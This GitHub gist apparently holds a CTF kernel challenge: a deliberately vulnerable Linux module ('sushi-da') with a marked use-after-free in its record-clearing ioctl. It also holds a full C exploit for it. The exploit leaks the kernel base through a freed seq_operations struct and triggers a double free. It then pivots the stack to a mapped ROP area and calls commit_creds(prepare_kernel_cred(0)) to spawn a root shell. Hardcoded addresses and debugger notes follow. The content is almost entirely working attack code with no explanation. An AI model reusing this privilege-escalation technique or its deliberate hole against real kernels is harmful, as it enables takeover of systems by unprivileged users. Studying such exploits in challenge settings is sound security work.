Last active
May 21, 2021 02:39
-
-
Save Mech0n/af1d2a90ead0e15cdd82b9d20cd629bf to your computer and use it in GitHub Desktop.
seq_operations
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <linux/errno.h> | |
#include <linux/file.h> | |
#include <linux/fs.h> | |
#include <linux/miscdevice.h> | |
#include <linux/module.h> | |
#include <linux/slab.h> | |
#include <linux/uaccess.h> | |
#include <linux/kernel.h> | |
#include "../include/sushi-da.h" | |
struct record *records[SUSHI_RECORD_MAX]; | |
long register_record(void *arg) | |
{ | |
struct ioctl_register_query request; | |
struct record *ent; | |
int ix; | |
long ret = -EINVAL; | |
if (copy_from_user(&request, (struct ioctl_register_query *)arg, sizeof(request))) | |
goto end; | |
ent = kzalloc(sizeof(struct record), GFP_KERNEL); | |
if (IS_ERR_OR_NULL(ent)) | |
goto end; | |
memcpy(ent, &request.record, sizeof(struct record)); | |
for (ix = 0; ix != SUSHI_RECORD_MAX; ++ix) | |
{ | |
if (records[ix] == (struct record *)0) | |
{ | |
records[ix] = ent; | |
break; | |
} | |
} | |
ret = 0; | |
end: | |
return ret; | |
} | |
// to user : idx is `request.rank ` | |
long fetch_record(void *arg) | |
{ | |
unsigned req_rank; | |
char rank_index[SUSHI_RECORD_MAX], target_index; | |
struct ioctl_fetch_query request; | |
int ix, jx; | |
long ret = -EINVAL; | |
if (copy_from_user(&request, (struct ioctl_fetch_query *)arg, sizeof(request))) | |
goto end; | |
req_rank = request.rank - 1; | |
// calc ranking | |
// find all `records[jx]->result < records[ix]->result` and calc count | |
// if records[ix] == NULL , then rank_index[ix] = -99 | |
for (ix = 0; ix != SUSHI_RECORD_MAX; ++ix) | |
{ | |
unsigned char count = 0; | |
if (records[ix] == (struct record *)0) | |
{ | |
rank_index[ix] = -99; | |
continue; | |
} | |
for (jx = 0; jx != SUSHI_RECORD_MAX; ++jx) | |
{ | |
if (ix == jx) | |
continue; | |
else if (records[jx] != (struct record *)0 && records[jx]->result < records[ix]->result) | |
++count; | |
} | |
rank_index[ix] = count; | |
} | |
for (target_index = 0; target_index != SUSHI_RECORD_MAX; ++target_index) | |
{ | |
if (rank_index[(unsigned)target_index] == req_rank) | |
break; | |
} | |
if (target_index == SUSHI_RECORD_MAX) | |
goto end; | |
if (copy_to_user(&((struct ioctl_fetch_query *)arg)->record, records[(unsigned)target_index], sizeof(struct record))) | |
{ | |
goto end; | |
} | |
ret = 0; | |
end: | |
return ret; | |
} | |
long clear_old_records(void) | |
{ | |
int ix; | |
char tmp[5] = {0}; | |
long date; | |
for (ix = 0; ix != SUSHI_RECORD_MAX; ++ix) | |
{ | |
if (records[ix] == NULL) | |
continue; | |
strncpy(tmp, records[ix]->date, 4); | |
if (kstrtol(tmp, 10, &date) != 0 || date <= 1990) | |
kfree(records[ix]); // BUG : UAF | |
} | |
return 0; | |
} | |
long clear_all_records(void) | |
{ | |
int ix; | |
for (ix = 0; ix != SUSHI_RECORD_MAX; ++ix) | |
records[ix] = 0; | |
return 0; | |
} | |
static long sushi_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) | |
{ | |
switch (cmd) | |
{ | |
case SUSHI_REGISTER_RECORD: | |
return register_record((void *)arg); | |
case SUSHI_FETCH_RECORD: | |
return fetch_record((void *)arg); | |
case SUSHI_CLEAR_OLD_RECORD: | |
return clear_old_records(); | |
case SUSHI_CLEAR_ALL_RECORD: | |
return clear_all_records(); | |
default: | |
return -EINVAL; | |
} | |
} | |
static const struct file_operations sushi_fops = { | |
.owner = THIS_MODULE, | |
.unlocked_ioctl = sushi_ioctl, | |
}; | |
static struct miscdevice sushi_device = { | |
.minor = MISC_DYNAMIC_MINOR, | |
.name = "sushi-da", | |
.fops = &sushi_fops, | |
}; | |
static void setup_default_ranking(void) | |
{ | |
static struct record haru_urara = { | |
.date = "2001/12/24\x00", | |
.result = 0, | |
}; | |
static struct record toukai_teio = { | |
.date = "2021/05/16\x00", | |
.result = 20, | |
}; | |
static struct record raisu_shower = { | |
.date = "2021/05/01\x00", | |
.result = 12, | |
}; | |
records[0] = &haru_urara; | |
records[1] = &toukai_teio; | |
records[2] = &raisu_shower; | |
} | |
static int __init sushi_init(void) | |
{ | |
setup_default_ranking(); | |
return misc_register(&sushi_device); | |
} | |
static void __exit sushi_exit(void) | |
{ | |
misc_deregister(&sushi_device); | |
} | |
module_init(sushi_init); | |
module_exit(sushi_exit); | |
MODULE_AUTHOR("TSGLIVE"); | |
MODULE_LICENSE("GPL"); | |
MODULE_DESCRIPTION("Stay foolish, stay sushi."); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <stdio.h> | |
#include <errno.h> | |
#include <stdlib.h> | |
#include <fcntl.h> | |
#include <signal.h> | |
#include <string.h> | |
#include <sys/mman.h> | |
#include <sys/syscall.h> | |
#include <poll.h> | |
#include <unistd.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
#include <sys/prctl.h> | |
#include <sys/shm.h> | |
#include <sys/xattr.h> | |
#include <sys/socket.h> | |
#define SUSHI_REGISTER_RECORD 0xdead001 | |
#define SUSHI_FETCH_RECORD 0xdead002 | |
#define SUSHI_CLEAR_OLD_RECORD 0xdead003 | |
#define SUSHI_CLEAR_ALL_RECORD 0xdead004 | |
#define SUSHI_RECORD_MAX 0x10 | |
#define SUSHI_NAME_MAX 0x10 | |
struct record | |
{ | |
char date[0x10]; | |
unsigned long result; | |
}; | |
struct ioctl_register_query | |
{ | |
struct record record; | |
}; | |
struct ioctl_fetch_query | |
{ | |
unsigned rank; | |
struct record record; | |
}; | |
#define errExit(msg) \ | |
do \ | |
{ \ | |
perror("[ERROR EXIT]\n"); \ | |
perror(msg); \ | |
exit(EXIT_FAILURE); \ | |
} while (0) | |
#define WAIT(msg) \ | |
puts(msg); \ | |
fgetc(stdin); | |
unsigned long long user_cs, user_ss, user_sp, user_rflags; | |
int fd; // file descriptor | |
unsigned long long leak, kernbase, heapbase; | |
unsigned long long base = 0xffffffff81194090; | |
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred); | |
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred); | |
_commit_creds commit_creds = 0; | |
_prepare_kernel_cred prepare_kernel_cred = 0; | |
void pop_shell(void) | |
{ | |
char *argv[] = {"/bin/sh", NULL}; | |
char *envp[] = {NULL}; | |
execve("/bin/sh", argv, envp); | |
} | |
void save_status() | |
{ | |
__asm__("mov %cs, user_cs;" | |
"mov %ss, user_ss;" | |
"mov %rsp, user_sp;" | |
"pushf;" | |
"pop user_rflags;" | |
); | |
puts("[*]status has been saved."); | |
} | |
static void get() | |
{ | |
commit_creds(prepare_kernel_cred(0)); | |
asm volatile("swapgs ;" | |
"movq %0, 0x20(%%rsp)\t\n" | |
"movq %1, 0x18(%%rsp)\t\n" | |
"movq %2, 0x10(%%rsp)\t\n" | |
"movq %3, 0x08(%%rsp)\t\n" | |
"movq %4, 0x00(%%rsp)\t\n" | |
"iretq" | |
: | |
: "r"(user_ss), | |
"r"(user_sp), | |
"r"(user_rflags), | |
"r"(user_cs), "r"(pop_shell)); | |
} | |
unsigned long long calc(unsigned long long addr) | |
{ | |
return addr - base + kernbase; | |
} | |
int register_record(char *date, unsigned long result) | |
{ | |
struct ioctl_register_query request; | |
memcpy(request.record.date, date, 0x10); | |
request.record.result = result; | |
return ioctl(fd, SUSHI_REGISTER_RECORD, &request); | |
} | |
int fetch_record(struct ioctl_fetch_query *request) | |
{ | |
return ioctl(fd, SUSHI_FETCH_RECORD, request); | |
} | |
int clear_old_records() | |
{ | |
return ioctl(fd, SUSHI_CLEAR_OLD_RECORD, 0); | |
} | |
int clear_all_records() | |
{ | |
return ioctl(fd, SUSHI_CLEAR_ALL_RECORD, 0); | |
} | |
int main(int argc, char const *argv[]) | |
{ | |
fd = open("/dev/sushi-da", O_RDWR); | |
save_status(); | |
register_record("1970/12/24\x00", 1970); | |
clear_old_records(); | |
int victim = open("/proc/self/stat", O_RDONLY); | |
struct ioctl_fetch_query leak; | |
leak.rank = 4; | |
fetch_record(&leak); | |
kernbase = *(unsigned long *)leak.record.date; // single_start | |
printf("Leak single_start addr : %#llx\n", *(unsigned long long *)leak.record.date); | |
commit_creds = calc(0xffffffff8106cd00); | |
prepare_kernel_cred = calc(0xffffffff8106d110); | |
printf("Leak commit_creds addr : %#llx\n", commit_creds); | |
printf("Leak prepare_kernel_cred addr : %#llx\n", prepare_kernel_cred); | |
unsigned long long *rop = | |
(unsigned long long *)mmap(0xf6ffa000, | |
0x8000, | |
PROT_READ | PROT_EXEC | PROT_WRITE, | |
MAP_ANON | MAP_PRIVATE | MAP_POPULATE, | |
-1, 0); | |
printf("Chain: %#llx\n", rop); | |
unsigned long long chain[0x100]; | |
size_t rop_chain[] = { | |
get}; | |
// double free | |
clear_old_records(); | |
memcpy(0xf6ffac28, rop_chain, sizeof(rop_chain)); | |
struct ioctl_register_query request; | |
memset(request.record.date, 0, 0x10); | |
*(unsigned long long *)request.record.date = calc(0xffffffff816216c0); | |
*((unsigned long long *)request.record.date + 1) = calc(0xffffffff816216c0); | |
request.record.result = calc(0xffffffff816216c0); | |
register_record((void *)request.record.date, 0xffffffffdeadc0c0); | |
printf("Got Shell!\n"); | |
char c; | |
read(victim, &c, 1); | |
return 0; | |
} | |
// / # ffffffff8106cd00 T commit_creds | |
// / # ffffffff8106d110 T prepare_kernel_cred | |
// / # ffffffff81194090 t single_start | |
// / # sushi_da 16384 0 - Live 0xffffffffc0000000 (O) | |
// .text:000000000000002E call kmem_cache_alloc_trace ; PIC mode | |
// b *0xffffffffc000002e | |
// .text:00000000000001B6 call kfree ; PIC mode | |
// b *0xffffffffc00001b6 | |
// .text:000000000000014D call _copy_to_user ; PIC mode | |
// b *0xffffffffc000014d | |
// 0xffff88800f2bd500 | |
// pwndbg> x/10gx 0xffff88800f2bd540 | |
// 0xffff88800f2bd540: 0x2f32312f30393931 0x6e6f657800003432 | |
// 0xffff88800f2bd550: 0x000000000000001e 0x0000000000000000 | |
// 0xffffffff816216c0: mov esp, 0xf6ffac28; ret; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment